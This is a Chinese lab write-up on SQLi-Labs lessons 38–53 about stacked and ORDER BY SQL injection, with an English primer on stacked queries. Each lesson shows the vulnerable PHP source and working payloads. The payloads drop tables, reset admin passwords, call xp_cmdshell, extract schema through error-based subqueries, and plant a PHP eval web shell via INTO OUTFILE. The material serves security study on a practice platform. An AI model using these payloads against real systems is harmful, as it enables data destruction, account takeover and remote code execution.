SQLi Labs Stacked Injections ( Lesson38 - Lesson53 )

原创 2016年08月30日 22:12:26

第三部分:Stacked Injection


Stacked Queries


Execute multiple statements in the same query to extend the possibilities of SQL injections

Stacked queries provide a lot of control to the attacker. By terminating the original query and adding a new one, it will be possible to modify data and call stored procedures. This technique is massively used in SQL injection attacks and understanding its principle is essential to a sound understanding of this security issue.


Principle

In SQL, a semicolon indicates that the end of a statement has been reached and what follows is a new one. This allows executing multiple statements in the same call to the database server. Contrary to UNION attacks which are limited to SELECT statements,stacked queries can be used to execute any SQL statement or procedure. A classic attack using this technique could look like the following.

Malicious user input.

1; DELETE FROM products

 

Generated query with multiple statements. The parameter productid was not sanitized.

SELECT * FROM products WHERE productid=1; DELETE FROM products

When the query is executed, a product is returned by the first statement and all products are deleted by the second.


Stacked Queries Limitations

It is important to mention that query stacking does not work in every situation. Most of the time, this kind of attack is impossible because the API and/or database engine do not support this functionality. Insufficient rights could also explain why the attacker is unable to modify data or call some procedures.

Below is a list of query stacking support by the principal API and DBMS.

Stacked query support.

MySQL/PHP - Not supported (supported by MySQL for other API).

SQL Server/Any API - Supported.

Oracle/Any API - Not supported.

Even though we mentioned earlier that stacked queries can add any SQL statement, this injection technique is frequently limited when it comes to adding SELECTs.Both statements will be executed but software code is usually designed to handle the results returned by only one query. Consequently, the injected SELECT query will often generate an error or its results will simply be ignored. For this reason it is recommended to use UNION attacks when trying to extract data.

One last thing needs to be mentionned: to inject a valid SQL segment, the attacker will need to know some basic information such as table names, column names, etc. For more information refer to the section dedicated to information gathering.


Altering Data

The example presented at the beginning of the article demonstrates how query stacking can be used to delete information from the database. Instead of destroying data, attackers usually try to steal it or grant themselves high privileges on the system. A frequent approach is to change the administrator’s password. The example below illustrates a classic data modification using SQL injection.

User input.

1; UPDATE members SET password='pwd' WHERE username='admin'

 

Generated query.

SELECT * FROM products WHERE categoryid=1; UPDATE members SET password='pwd' WHERE username='admin'


Calling Stored Procedures

Calling a procedure can bring SQL injections attacks to a whole new level. Nowadays, many database management systems come with built in packages of functions and procedures to simplify development and provide new functionalities. Therefore, it becomes possible to communicate with network, control the operating system and do even more from a simple SQL statement.

As there is no convention between DBMS regarding to packages and procedures name, the attacker will have to identify which database system is used before trying to call a built-in procedure. From there, the principle is the same as examples presented earlier except that the injected query is a stored procedure call. Let see how it can be done with the use ofxp_shellcmd; a SQL Server’s specific command which allows executing operating system calls.

User input.

1; exec master..xp_cmdshell 'DEL important_file.txt'

 

Generated query.

SELECT * FROM products WHERE categoryid=1; exec master..xp_cmdshell 'DEL important_file.txt'

The query above will return a product list and delete "important_file.txt". A much more complex attack could have been launched to take control over the operating system, but this is outside the scope of this article. The injected statement is not limited to built-in packages; a user-defined procedure could also be called. This approach is not frequent but it could be useful in some specific cases.



Lesson - 38

GET - Stacked Query Injection - String


SQL语句结构:

select ... from table where id = '$id' limit 0,1;

根据前面所学,可以得到数据库名,表名,表中内容。

如,构造?id=0' union select 1,database(),user()--+


后台php部分源代码(方便阅读,有修改):

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
mysqli_multi_query($sql))

关于mysqli_multi_query , 详细信息,http://php.net/manual/zh/mysqli.multi-query.php

正是由于后台用了该函数,才可以进行stacked injection


删除表referers:

?id=1';drop table referers;--+

由于后台:

if ($result = mysqli_store_result($con1))
{
      if($row = mysqli_fetch_row($result))
      {
          echo '<font size = "5" color= "#00FF00">';	
          printf("Your Username is : %s", $row[1]);
          echo "<br>";
          printf("Your Password is : %s", $row[2]);
          echo "<br>";
          echo "</font>";
      }
}

只显示了id=1的用户信息,"drop table referers" 成功与否,前端无法显示。

通过phpMyAdmin查看数据库Security,发现referers表已被删除。


修改用户密码:

?id=1';update users set password='fvck' where username='Dumb';--+


写入一个webshell:

?id=1';select "<?php phpinfo();@eval($_POST['foo']);?>" into outfile "D:/Program Files (x86)/wamp/www/sqli_labs/Less-38/phpinfo.php" --+


Lesson - 39

GET - Stacked Query Injection - intiger based


 SQL语句结构:

select .. from table where id = $id limit 0,1;

后台php源代码:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';	
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))
    {
            //printf("-----------------\n");
    }
     //while (mysqli_next_result($con1));
}

注入方法,同上节。


Lesson - 40

GET - Blind Based - String - Stacked


SQL语句结构:

select ... from table_name where id=('$id') ...

php源码,验证:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

注入方法略。


Lesson - 41

GET - Blind Based - intiger - Stacked


SQL语句结构:

select ...... from table_name where id=$id ......


构造 ?id=0 union select 1,2,3 --+

结果如图所示:



Lesson - 42

POST - Error based - String - stacked


创建新用户,和修改密码的链接都是提示让你hack the way。


首先尝试对login_user参数闭合引号,添加注释,以绕过password验证,没有奏效。

接着,构造如下POST表单数据

login_user=admin&login_password=123' or 1=1#&mysubmit=Login

结果如图所示:



如此通过添加 or 语句测试,只要得到数据库用户表的信息,就能注册新用户,或者更改密码。

构造如下表单数据

login_user=admin
&login_password=123' or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1)#
&mysubmit=Login

刷新直至爆出表:


同理,可得到users表:


构造如下表单数据:

login_user=admin
&login_password=123' or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema = database() and table_name='users' limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1)#
&mysubmit=Login

得到users表中的列名:


更改密码:

login_user=admin
&login_password=123';update users set password='fvck' where username='admin';#
&mysubmit=Login

 

php源代码:

$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
......
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
    ........
}
.......

password没有进行过滤,mysqli_multi_query函数是成功注入的成因。



Lesson - 43

POST - Error based - String - Stacked with twist


构造如下表单数据:

login_user=admin&login_password=123456'or 1=1&mysubmit=Login

报错:



猜测SQL语句结构 select ... from users where username = ('login_user') and password = ('password') ...

验证:

login_user=admin&login_password=123456')or 1=1#&mysubmit=Login


注入方法同上节。



Lesson - 44

POST - Error based - String - Stacked - Blind


构造表单数据

login_user=admin&login_password=123456'or 1=1#&mysubmit=Login

结果如图所示:


猜测SQL语句结构:

select ... from table_name where username='$username' and password = '$password'......


PHP源代码:

$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
if (@mysqli_multi_query($con1, $sql))
{
      /* store first result set */
      if($result = @mysqli_store_result($con1))
      {
	 if($row = @mysqli_fetch_row($result))
	 {
	    if ($row[1])
	    {
	       return $row[1];
	    }
	    else
	    {
	       return 0;
	    }
	 }
      }
}

本节关闭了错误回显,盲注。

可以利用上述表单数据 login_user=admin&login_password=123456'or 1=1#&mysubmit=Login

中的 or 语句对数据库信息进行猜解,如果正确会成功以Dumb登陆。


如,构造如下表单数据:

login_user=admin&login_password=123456' or substring(version(),1,1)=4#&mysubmit=Login

结果未成功登陆。

说明当前数据库版本不是4。

将版本号改为5:

login_user=admin&login_password=123456' or substring(version(),1,1)=5#&mysubmit=Login

成功登陆。

通过此方法可以猜解更多信息。


Lesson - 45

POST - Error based - String - Stacked - Blind


猜测SQL语句结构:

select ... from table_name where username = ('$username') and password = ('$password')

查看PHP源代码验证:

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
if (@mysqli_multi_query($con1, $sql))
{
        /* store first result set */
      if($result = @mysqli_store_result($con1))
      {
	 if($row = @mysqli_fetch_row($result))
	 {
	    if ($row[1])
	    {
	       return $row[1];
	    }
	    else
	    {
	       return 0;
	    }
	 }
      }
}

注入略。



Lesson - 46

GET - Error Based - Numeric - Order By clause


构造 ?sort=1,结果如图所示:

构造 ?sort=2



猜测SQL语句 select * from users order by $sort

PHP源代码:

$sql = "SELECT * FROM users ORDER BY $id";
$result = mysql_query($sql);

构造

?sort=(select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a) as b limit 0,1)


还可以利用延时注入

?sort=1 and if(length(database())=8,sleep(1),null)

这里等待了大概13s,因为users表中有13条数据。




Lesson - 47

GET - Error based - String - Order By Clause


猜测SQL语句结构:

select * from table_name order by '$id'


$sql = "SELECT * FROM users ORDER BY '$id'";
$result = mysql_query($sql);

构造:
?sort=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema = database() limit 0,1), '~' , floor (rand()*2))as a from information_schema.tables group by a)as b limit 0,1)--+





Lesson - 48

GET- Error based - Blind - Numeric - Order By Clause


SQL语句结构:

select * from users order by $sort


注入略。



Lesson - 49

GET - Error based - String - Blind - Order By Clause


SQL语句结构:

select * from users order by '$sort'


注入略。



Lesson - 50

GET - Error based - Order By Clause - Numeric - Stacked Injection


SQL语句结构:

select * from users order by $sort


PHP源代码:

$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
......
}

存在stacked Injection。

注入略。



Lesson - 51

GET - Error based - Order By Clause - String - Stacked Injection


SQL语句结构:

select * from users order by '$sort'

PHP源代码:

$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
......
}

注入略。


Lesson - 52

GET - Blind based - Order By Clause - Numeric - Stacked Injection


构造:

?sort=1 and if(1=1,sleep(1),null)


SQL语句结构:

select * from users order by $sort


源码使用mysqli_multi_query函数,存在Stacked Injection注入。

注入略。



Lesson - 53

GET - Blind based - Order By Clause - String - Stacked Injection


构造:?sort=1'--+,返回正常结果。

SQL语句结构:

select * from users order by '$sort'


注入略。

版权声明:本文为博主原创文章,未经博主允许不得转载。

SQLi-Labs Lesson 1-8 notes

SQLI-LABS 是一个专业的SQL注入练习平台,用于学习SQL注入的各种姿势及原理。 info下面的测试场景都支持GET和POST两种注入方式 报错注入(联合查询) 1)字符型 2)数字型 报...

sqli-labs lesson-2

1.测试注入点http://172.16.19.146:8080/sqli-labs-master/Less-4/?id=1'2.猜测列数http://172.16.19.146:8080/sqli-...

sqli-labs lesson1字符型注入

sqli-labs lesson1课字符型注入

SQLi Labs实验指导书

  • 2017年11月02日 16:46
  • 4.99MB
  • 下载

sqli-labs-master

  • 2017年08月22日 20:43
  • 3.49MB
  • 下载

通过sqli-labs学习sql注入——进阶挑战之less23-28a

原文链接:http://blog.csdn.net/u012763794/article/details/51457142 这次我又来了,Advanced Injections(进阶挑战),就是一...

sqli labs通关秘籍

lession 5子查询Select concat((select database()));注意不要写错。上述查询中,红色部分就是子查询,它会首先被评估。rand()函数随机生成0-1之间的一个数:...

Sqli-labs之Less1-10

为了更好地学习SQL注入,便从sqli-labs开始入手吧。很多东西都是不懂,所以也是从各位前辈、大牛的博客以及书籍中去学习,将自己学到的都记录一下,以便以后的查看。同时也希望各位能够多多给点指导,让...
  • SKI_12
  • SKI_12
  • 2017年04月14日 16:52
  • 975

SQLi Labs 指南

译者:SQL Libs一直也没看到有人写过比较完整的指南,只有作者在自己的博客上帖了一些tip和一些视频,偶然看到一篇文章在写这个,便拿过来翻一下,以作参考,原文较长,分成几个部分。 &...

Win7下 Sqli-labs 环境搭建

最近准备学习sql注入,来搭建一下Sqli-labs,折腾了我好久,终于搭建起来了。 ok,废话不多说,开始搭建! 平台:Win7 SP1 需要准备的东西: 1. Sqli-labs ,下...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:SQLi Labs Stacked Injections ( Lesson38 - Lesson53 )
举报原因:
原因补充:

(最多只允许输入30个字)